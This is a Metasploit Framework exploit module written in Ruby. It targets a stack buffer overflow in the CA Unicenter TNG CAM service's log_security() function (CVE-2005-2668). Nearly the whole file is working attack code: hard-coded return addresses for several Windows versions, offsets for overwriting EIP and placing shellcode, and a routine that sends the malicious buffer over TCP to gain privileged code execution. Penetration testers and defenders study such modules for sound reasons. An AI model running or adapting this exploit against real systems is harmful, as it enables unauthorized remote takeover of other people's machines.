CA CAM log_security() Stack Overflow (Win32)

`##  
# $Id$  
##  
  
##  
# This file is part of the Metasploit Framework and may be subject to   
# redistribution and commercial restrictions. Please see the Metasploit  
# Framework web site for more information on licensing and terms of use.  
# http://metasploit.com/framework/  
##  
  
  
require 'msf/core'  
  
  
class Metasploit3 < Msf::Exploit::Remote  
  
include Msf::Exploit::Remote::Tcp  
  
def initialize(info = {})  
super(update_info(info,   
'Name' => 'CA CAM log_security() Stack Overflow (Win32)',  
'Description' => %q{  
This module exploits a vulnerability in the CA CAM service  
by passing a long parameter to the log_security() function.  
The CAM service is part of TNG Unicenter. This module has  
been tested on Unicenter v3.1.  
  
},  
'Author' => [ 'hdm' ],  
'License' => MSF_LICENSE,  
'Version' => '$Revision$',  
'References' =>  
[  
['CVE', '2005-2668'],  
['OSVDB', '18916'],  
['BID', '14622'],  
],  
'Privileged' => true,  
'Payload' =>  
{  
'Space' => 1024,  
'BadChars' => "\x00",  
'StackAdjustment' => -3500,  
  
},  
'Targets' =>   
[  
# W2API.DLL @ 0x01950000 - return to ESI  
['W2API.DLL TNG 2.3', { 'Platform' => 'win', 'Ret' => 0x01951107 }],  
  
# Return to ESI in ws2help.dll  
['Windows 2000 SP0-SP4 English', { 'Platform' => 'win', 'Ret' => 0x750217ae }],  
['Windows XP SP0-SP1 English', { 'Platform' => 'win', 'Ret' => 0x71aa16e5 }],  
['Windows XP SP2 English', { 'Platform' => 'win', 'Ret' => 0x71aa1b22 }],  
['Windows 2003 SP0 English', { 'Platform' => 'win', 'Ret' => 0x71bf175f }],  
],  
'DisclosureDate' => '',  
'DefaultTarget' => 0))  
end  
  
  
def check  
connect  
ack = sock.get_once  
disconnect  
  
(ack == "ACK\x00") ? Exploit::CheckCode::Detected : Exploit::CheckCode::Safe   
end  
  
def exploit  
connect  
  
ack = sock.get_once  
if (ack != "ACK\x00")  
print_status("The CAM service is not responding")  
end  
  
buf = rand_text_english(4096, payload_badchars)  
  
# Offset 1016 for EIP, 1024 = ESP, 1052 = ESI  
buf[ 1016, 4 ] = [target.ret].pack('V')  
buf[ 1052, payload.encoded.length ] = payload.encoded   
  
sock.put("\xfa\xf9\x00\x10" + buf + "\x00")  
  
handler  
disconnect  
end  
  
end  
`